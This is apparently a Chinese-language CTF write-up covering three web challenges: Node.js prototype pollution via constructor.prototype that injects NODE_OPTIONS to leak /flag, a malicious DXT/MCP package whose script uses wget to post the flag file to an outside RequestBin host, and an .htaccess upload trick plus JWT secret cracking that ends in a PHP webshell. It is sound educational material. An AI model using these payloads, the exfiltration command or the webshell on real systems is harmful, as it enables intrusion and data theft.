ezpollute

这道题给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

let config = {
name: "CTF-Guest",
theme: "default"
};

app.post('/api/config', (req, res) => {
let userConfig = req.body;

const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const bodyStr = JSON.stringify(userConfig).toLowerCase();
for (let word of forbidden) {
if (bodyStr.includes(`"${word}"`)) {
return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
}
}

try {
merge(config, userConfig, res);
res.json({ status: "success", msg: "Configuration updated successfully." });
} catch (e) {
res.status(500).json({ status: "error", message: "Internal Server Error" });
}
});

app.get('/api/status', (req, res) => {

const customEnv = Object.create(null);
for (let key in process.env) {
if (key === 'NODE_OPTIONS') {
const value = process.env[key] || "";

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}

const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
env: customEnv,
shell: false
});

let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });

proc.on('close', (code) => {
res.json({
status: "checked",
info: output.trim() || "No output from system check."
});
});
});

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on port 3000');
});

漏洞分析

这题是一个很标准的“原型污染 + 子进程环境变量注入 + Node 启动参数执行”利用链。

入口在 /api/config

  1. 程序把用户 JSON 直接喂给了 merge(config, userConfig, res)
  2. merge 只拦了 __proto__,没有拦 constructor.prototype
  3. 于是我们可以通过 constructor -> prototype -> 任意属性 把属性写到 Object.prototype

关键点是这句:

1
2
3
if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
}

普通对象 config 是通过花括号 {} 创建的,因此其 constructorObject 这个构造函数。

key in target 会沿原型链判断,普通对象上的 constructor 是存在的,所以会继续递归到 config.constructor(也就是 Object),再递归到 Object.prototype 这个全局原型,最终完成污染。

利用点定位

第二个接口 /api/status 会把环境变量拷贝到 customEnv,再用于 spawn

1
2
3
4
for (let key in process.env) {
...
customEnv[key] = process.env[key];
}

这里使用的是 for...in。它会枚举可枚举的继承属性,不只枚举对象自身属性。也就是说,如果我们把 NODE_OPTIONS 污染到原型链上,这里就有机会被带入 customEnv

NODE_OPTIONS 是 Node 的一个环境变量,Node 会在执行前先解析 NODE_OPTIPNS ,并使用里面包含的命令。这个网站比较详细地介绍了 NODE_OPTIONS。

后面程序确实尝试过滤 NODE_OPTIONS

1
const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

这个过滤只拦了长参数(--require 这种),没有拦短参数 -r

所以这里可以直接用:

1
-r /flag

子进程实际会变成 node -r /flag -e 'console.log(...)'

完整利用链

  1. /api/config 发送 JSON,污染 Object.prototype.NODE_OPTIONS
  2. 访问 /api/status 触发子进程创建。
  3. 子进程读取 NODE_OPTIONS,按 -r /flag 先去加载 /flag
  4. /flag 不是合法 JS 模块时,Node 会抛语法错误,并把文件内容打到 stderr。
  5. /api/status 把 stderr 回显到 info,因此可以看到 flag。

Payload

先污染 NODE_OPTIONS

1
2
3
4
5
6
7
8
9
10
POST /api/config
Content-Type: application/json

{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

然后访问:

1
GET /api/status

返回的 info 里一般会出现类似 SyntaxError: Invalid or unexpected token,同时会带出 /flag 文件中的内容(也就是 flag)。

如图:

image

DXT

一道 web 题,题目描述说是一个简单的 mcp_server ,页面如下:

image

上面说我们需要上传一个 dxt 文件,简单了解了一下,dxt 文件其实就是 zip 文件改个后缀名,但是如果只上传一个 dxt 结尾的 zip 文件的话,页面会返回说找不到 manifest.json ,所以我们还是了解一下正经的 dxt 文件是什么吧。

这个页面比较好地介绍了什么是 dxt 文件,而且告诉了我们要怎么创建一个 dxt 文件。

首先要用 npm 下载一个 dxt ,然后用这个 dxt 工具去创建一个 mcp 。

其实 mcp 就是一个 小工具 ,我们可以写一个 python 代码,然后把它封装成 mcp ,使用就会更加方便了。

dxt 文件里面,比较重要的就是代码文件和 manifest.jsonmanifest.json 相当于是一个配置文件,里面介绍和定义了这个 mcp 该怎么使用。

一个正常的 manifest.json 文件的内容是类似这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"dxt_version": "0.1",
"name": "exp",
"version": "1.0.0",
"description": "123",
"author": {
"name": "exp",
"email": "exp@admin.com"
},
"server": {
"type": "python",
"entry_point": "exp.py",
"mcp_config": {
"command": "python",
"args": [
"${__dirname}/exp.py"
],
"env": {}
}
},
"license": "MIT"
}

里面比较重要的就是 commandargs ,其实我测试发现,上传一个 dxt 文件之后,服务器就会执行 command args,例如这里的 python exp.py

因此,其实我们只需要一个脚本,然后编辑一下 manifest.json 里的 commandargs ,就可以实现 RCE 了。

例如,脚本内容如下:

1
wget http://www.requestbin.cn:80/111st2u1 --post-data="data=$(cat /flag)"

然后 manifest.json 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"dxt_version": "0.1",
"name": "exp",
"version": "1.0.0",
"description": "123",
"author": {
"name": "exp",
"email": "exp@admin.com"
},
"server": {
"type": "node",
"entry_point": "exp.sh",
"mcp_config": {
"command": "sh",
"args": [
"${__dirname}/exp.sh"
],
"env": {}
}
},
"license": "MIT"
}

这里的 manifest.json ,使用 dxt init 命令创建一个,然后手动修改一下就好了。

之后,我们把 exp.shmanifest.json 打包成 zip 文件,然后把 zip 后缀改为 dxt ,就可以上传到网站上了:

image

image

接着按上面的 Start 运行它,我们就可以在 RequestBin 网页里面获得 flag 了:

image

only_real_revenge

是一个登录的 web 页面,页面源码有一个登录凭据:

image

然后就用这个账号密码进行登录,登录成功了。

解法一

进入之后是一个上传文件的页面,但是相关的按钮都是灰色的无法点击:

image

所以我们就用 BurpSuite 拦截一下返回页面,改一下前端代码,使按钮可以被点击:

image

image

然后我们就可以尝试上传文件了。

但是测试,这个 dashboard.php 页面,无法真正上传文件,POST 传输文件之后,还是只会返回该页面,没有返回是否上传成功等字样。

于是进行目录扫描,看看有没有其他的目录:

image

发现了 upload.phpuploads 目录,猜测 uploads 就是我们上传之后文件保存的地方。

同时,尝试给 upload.php 页面上传文件:

image

上传成功了,而且 uploads/shell.jpg 也有我们上传的内容:

image

但是测试发现,无法上传 php phtml php5 等后缀名的文件。

然而,我发现可以上传 .htaccess,于是就上传了一个用 php 来解析 jpg 文件的 .htaccess

image

其中的内容如下:

1
2
3
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

然后刚才的 shell.jpg 就能被当成 php 来解析了:

image

解法二

进入到 web 页面之后,我们发现 Cookie 是一个 JWT

image

我们当前的用户是 user ,因此猜测可能如果是 admin ,我们就可以使用上面的一些功能了。

因此用 jwt-cracker 尝试爆破:

image

爆破出来 jwt 的密钥是 cdef ,因此用这个密钥,使用 jwt_tool 工具生成一个 admin 的新 JWT :

1
2
┌──(kali㉿kali)-[~/Tools/jwt_tool]
└─$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzUyOTU2MTd9.D6S9rmYfB-AtOl2lipKPQlYasz9FGOGiNTru0AMPGrA -p cdef -T -S hs256

image

用这个 jwt 替换掉原来的 jwt ,我们就可以往 dashboard.php 里面传文件了。

上传一个 s.php ,内容为 <?= `$_GET[0]`;?> ,它会返回上传之后的路径:

image

用这个 webshell 拿 flag:

image